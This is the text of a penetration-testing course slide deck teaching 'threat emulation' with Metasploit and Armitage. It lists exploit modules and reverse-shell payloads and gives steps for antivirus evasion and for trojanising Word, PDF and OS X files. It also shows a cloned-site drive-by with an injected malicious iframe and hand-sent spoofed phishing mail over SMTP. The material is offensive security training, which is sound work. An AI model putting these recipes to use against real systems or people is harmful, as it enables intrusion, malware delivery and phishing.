
Advanced	Threat	Tactics	
From	Penetration	Testing	to	Threat	Emulation	



Overview	

§  Course	Goals	
§  Personal	Introduction	
§  What	is	Penetration	Testing?	
§  Threat	Emulation	vs.		
Vulnerability	Assessments	

§  Course	Overview	



Goals	

§  Hands-on	time	with	Armitage	and	Metasploit	
§  Apply	modern	tactics	in	a	realistic	lab		
§  Understand	modern	attack	vectors	
§  Seed	creative	thought	process	



One	Year	Ago…	



Introduction	–	R.	Mudge	

§  Open	Source	Developer	
§  Entrepreneur	
§  Security	Experience	



Penetration	Testing	

	
	

What?	Test	security	by	doing	
what	bad	guys	might	do	



Penetration	Testing	

	
	

Why?	Motivate	desire	to	make	
changes	to	improve	security	



Penetration	Testing	

	
	

How?	Demonstrate	risk	



Types	of	Penetration	Tests	

§  Open	Source	Research		
§  Network	
§  Social	Engineering	
§  Wireless	
§  Web	Applications	
§  Mobile	



Penetration	Testing	Process	

§  Information	Gathering	
§  Reconnaissance	
§  Access	
§  Post-Exploitation	



Penetration	Testing	Today…	



“Penetration	Testing”	

§  White-listed	
§  No	social	engineering	
§  Attempt	to	exploit	vulnerabilities	
§  Numbers	oriented	



Why	are	we	here?	



Threat	Emulation	

§  Double-blind	
§  Social	Engineering	is	in	scope	
§  Attempts	to	exploit	features	
§  Goal	oriented	



Modern	Hacking	Process	



Course	Overview	

	Course	Introduction	
1.  Metasploit	and	Armitage	+	Set	Up	
2.  Access:	Exploits	+	Lab	1	

Lunch	
3.  Access:	Features	+	Lab	2	
4.  Access:	Delivery	+	Lab	3	
5.  Post-Exploitation		
6.  Maneuver	

Exercise	



1.	Metasploit	and	Armitage	
From	Penetration	Testing	to	Threat	Emulation	



Overview	

§ What	is	Metasploit?	
§ Modules	
§ Metasploit	Console	
§ Armitage	



What	is	Metasploit?	



What	is	Metasploit?	

§  Metasploit																																	Linux	
§  Modules																																					Programs	
§  msfconsole																															/bin/bash	
	
	



Modules	



Modules	



Modules	and	Magic	the	Gathering	

©	1995-2011	Wizards	of	the	Coast	



Module	Organization	



Metasploit	Command	Sets	

§  Metasploit	Console	
ú  Manage	Database	
ú  Manage	Sessions	
ú  Configure	and	Launch	Modules	

§  Meterpreter	
ú  Post-exploitation	activities	

	



Console	Cheat	Sheet	

use	module															-	start	configuring	module	
show	options										-	show	configurable	options		
set	varname	value	-	set	option	
exploit																									-	launch	exploit	module	
run																																	-	launch	non-exploit	
	
sessions	–i	n													-	interact	with	a	session	
	
help	command								-	get	help	for	a	command	



Metasploit	Console	Demo	



msfconsole	

§  Open	ended	
§  Works	in	many	places	
§  One	task	/	host	at	a	time	



What	is	Armitage?	
§  A	GUI	for	Metasploit	
§  Goal:	Avoid	this…	



Armitage	



Armitage	Sightings…	



Armitage	Demo	



Armitage	Teaming	

§  Manage	Metasploit	Remotely	
§  Communicate	in	real	time	
§  Share	Data	
§  Share	Sessions	

§  Requires	starting	armitage	deconfliction	
server	on	Metasploit	server.		
(See	documentation)	



Learning	Check	

§ What	is	a	session?	
§ What	is	a	payload?	
§ What	is	Meterpreter?	



2.	Access:	Exploits	
From	Penetration	Testing	to	Threat	Emulation	



Overview	

§  	Remote	Exploits	
§ Client-side	Exploits	



Modern	Hacking	Process	



Remote	Attack	

1.  NMap	Scan	
2.  Analyze	Scan	Data	
3.  Choose	an	Exploit	
4.  Select	a	Payload	
5.  Launch	Exploit!	



Which	exploit	do	I	use?		
Answer:	These.	
	
	
	
	

Name	 Where	

ms08_067_netapi	 Windows	XP/2003	era	

ms09_050_smb2_negot..	 Windows	Vista	SP1/SP2	

ms03_026_dcom	 Windows	2000	



Why	did	my	exploit	fail?	

§  Firewall	
§  Non-vulnerable	software	
§  Service	is	hung	
§  The	universe	is	taunting	you	
§  Non-reliable	exploit	
§  Bad	day	
§  Mis-configured	exploit	
§  Could	not	establish	session	



Client-side	Attack	

1.  Get	victim(s)	to	visit	system	profiler	
2.  Choose	an	Exploit	
3.  Launch	Exploit		
4.  Spam	victims	(or	wait	for	them)!	



System	Profiling	

What	can	I	get	from	your	browser?	
	
Check	out:	
http://www.browserspy.dk	



Adobe	Reader	Version	



Java	Version	



Browser	Information	



Operating	System	



Which	exploit	do	I	use?		
Answer:	These.	
Name	 Where	

java_signed_applet	 Social	engineering;	any	where	Java	applets	run	

ms11_003_ie_css_import	 Internet	Explorer	7/8	(requires	.NET)	

ie_createobject	 Internet	Explorer	6	



Demo:		
Client-side	Exploit	



Learning	Check	

§ Which	exploit	works	against	
Windows	XP	SP2,	port	445?	

	



3.	Access:	Features	
From	Penetration	Testing	to	Threat	Emulation	



Overview	

§  Metasploit	Payloads	
§  Payload	Handlers	
§  Anti-virus	Testing	/	Evasion	
§  Disguising	Payloads	



Modern	Hacking	Process	



Metasploit	Payloads	
Name	 Note	

windows/meterpreter/reverse_tcp	 Connects	to	one	port	

windows/meterpreter/reverse_tcp_allports	 Tries	every	ports	in	sequence	

windows/meterpreter/reverse_https	 Speaks	HTTP	

java/meterpreter/reverse_https	 Works	anywhere	w/	Java	

java/meterpreter/reverse_https	 Speaks	HTTP	

linux/x86//shell_reverse_tcp	

osx/x86/shell_reverse_tcp	



Payload	Handlers	

§  Listen	for	a	connection	from	a	payload	
§  Metasploit	multi/handler	module	

§  Important	variables:	
ú  AutoRunScript	
ú  ExitOnSession	



Demo:	Payload	Generation	+	
Listener	Setup	



AV	Testing	and	Evasion…	



AV	Testing	and	Evasion…	

http://vscan.novirusthanks.org	



Windows	Executable	

§  Generate	executable	
§  Lipstick:	

ú  Change	icon	
ú  Package	with	iexpress	
ú  .scr	trick	



Microsoft	Word	Documents	

§  Generate	Meterpreter	w/	VBA	output	
§  Add	Macro	to	Word	document	
§  Add	Data	to	Word	Document	
§  Save	as	macro-enabled	document	
	



MS	Office	on	MacOS	X?	



MacOS	X	Trojan	

§  Generate	Java	meterpreter	JAR	file	
§  Find	OS	X	.app	file	with	Java	back-end	
§  Open	package	contents	
§  Replace	app	.jar	with	meterpreter	.jar	
§  Edit	Info.plist	MainClass	key	to	say:		
metasploit.Payload	

§  See:	Imuler	Trojan		
http://tinyurl.com/43yq4sp	



PDF	Files	I	

§  Metasploit	embed	PDF	EXE	
§  Test	it	first!	



PDF	Files	II	

§  Generate	a	malicious	file	*	
§  Embed	as	attachment	
§  Dress	up	the	filename	J	
§  Add	JavaScript	to	automatically	open	
§  (Optional)	Merge	with	existing	PDF	
	
*	Challenge:	Adobe	Reader	does	not	allow	certain	

extensions	to	open.	Your	job,	hacker,	is	to	get	around	
this.	J	
	

Check	out:	make-pdf-embedded.py	
http://tinyurl.com/m6onbo	



Learning	Check	

§ Which	Metasploit	module	listens	for	a	
payload	connection?	

§ What	is	the	best	exploit?	



4.	Access:	Delivery	
From	Penetration	Testing	to	Threat	Emulation	



Overview	

§  Social	Engineer’s	Toolkit	
§  Web	Drive-by	

ú  Clone	a	website	
ú  Add	a	payload	

§  Spear	Phishing	
ú  Who,	What,	Where,	and	How	



Modern	Hacking	Process	



Social	Engineer’s	Toolkit	

§  A	program	by	Dave	Kennedy	and	SET	Team	
§  Automates:	

ú  Sets	up	Metasploit	Payload	Handlers,	etc.	
ú  Web	Drive-bys	
ú  Spear	Phishing	

§  Not	using	it	today…	
ú  But…	it’s	in	your	BT5r1	VM	updated	to	latest	



Demo:	Quick	Look	at	SET	



Web-Drive	by:	Clone	a	Site	

§  Start	web	server	
service	apache2	start	

§  Get	site	
cd	/var/www	
wget	http://www.gmail.com	

§  Fix	Resources	
pico	index.html	
	
Add	the	following	HTML:	
<base	href=“http://www.gmail.com”	/>	
	
Press	Control+X,	Type	y	



Web-Drive	by:	Attack	

§  Set	up	attack	(see	previous	lectures)	
§  Add	the	following:	
	
<iframe	src=”http://url	to	malicious	stuff”	/>	
	
§  Or,	replace	link	to	a	resource	with	one	of	your	
“packages”	



Who	to	send	to…	

§  Do	your	information	gathering	J	



What	to	send…	

§  Sign	up	for	a	Microsoft	Hotmail	account		
§  Forward	message	to	account	
§  Go	to	reply	->	view	message	source	
§  Remove	headers	
§  Change	information	to	your	liking	
§  Send…	



What	to	send…	



What	to	send…	
Click	Reply	->	View	message	source	



What	to	send…	



Where	to	send	it…	

Check	mail	exchange	record	for	the	domain…	
	
dig	@[name	server]	[domain]	MX	
	
Or:	
	
dig	[domain]	MX	



How	to	send…	

§  Create	a	template.txt	file	

§  Attachments?	
ú  Forward	to	your	live.com	email	(it’s	encoded	in	the	
message	source)	OR	

ú  Send	a	link	instead	



How	to	send…			(usually	scripted)	

telnet	[ip	address]	25	
HELO	whatever.com	
MAIL	FROM:	bounceaddress@whatever.com	
RCPT	TO:	user@acme.com	
DATA	
[paste	template	file	here]	
.	
QUIT	



How	to	send…	(a	script)	



How	to	send…	(a	script)	



Learning	Check	

§  Which	command	downloads	a	page?	
§  Which	HTML	tag	lets	you	include	another	
page	in	an	internal	frame?	

	



5.	Post-Exploitation	
From	Penetration	Testing	to	Threat	Emulation	



Overview	

§  Command	Shell	
§  Privilege	Escalation	
§  Spying	on	the	User	
§  File	Management	
§  Process	Management	
§  Post	Modules	and	Loot	



Modern	Hacking	Process	



Demo	Demo	Demo	



Learning	Check	

§  Which	Meterpreter	command	takes	a	
screenshot?	

§  Which	Meterpreter	command	is	most	useful	
to	you?	



6.	Maneuver	
From	Penetration	Testing	to	Threat	Emulation	



Overview	

§  Pivoting	
§  Scanning	
§  Attacking	
§  Using	External	Tools	



Modern	Hacking	Process	



Demo	Demo	Demo	



Learning	Check	

§  Which	module	gives	a	session	on	a	Windows	
host	using	credentials	or	hashes?	

§  Which	scan	should	you	do	before	setting	up	a	
pivot?	



Resources	
From	Penetration	Testing	to	Threat	Emulation	



Free	Metasploit	Course	

http://www.offensive-security.com/metasploit-unleashed	



Metasploit:	The	Pen	Tester’s	Guide	



Metasploit	Homepage	

http://www.metasploit.com	



Armitage	Homepage	

http://www.fastandeasyhacking.com	



BackTrack	Linux	

http://www.backtrack-linux.org/	



Adaptive	Penetration	Testing	

§  Adaptive	Penetration	Testing	
Kevin	Mitnick,	Dave	Kennedy	
http://tinyurl.com/adaptivept	

§  Dave	Kennedy	and	Kevin	Mitnick	discuss	their	
take	on	pen	testing.	You’ll	see	a	great	spiritual	
similarity	between	their	talk	and	this	class.	
Worth	a	watch	to	continue	this	line	of	
thinking…	



De-ICE	Virtual	Machines	

§  Downloadable	bootable	CDs	that	contain	a	
self-contained	scenario	for	you	to	solve	

§  Great	practice	for	thinking	like	a	hacker	
working	against	Linux	systems.	

§  Metasploit	/	Armitage	can’t	help	you	here	J	
§  http://heorot.net/livecds/	
§  You	have	to	register	in	the	forum	to	get	the	
download	link.	Well	worth	it!	



Pen	Test	&	Vuln	Analysis	Course	@	NYU	

http://pentest.cryptocity.net	



And	of	course…	

§  Contact	me	
	
Raphael	Mudge	
rsmudge@gmail.com	
	
Twitter:	@armitagehacker	
	
Web	home:	http://www.hick.org/~raffi	
	


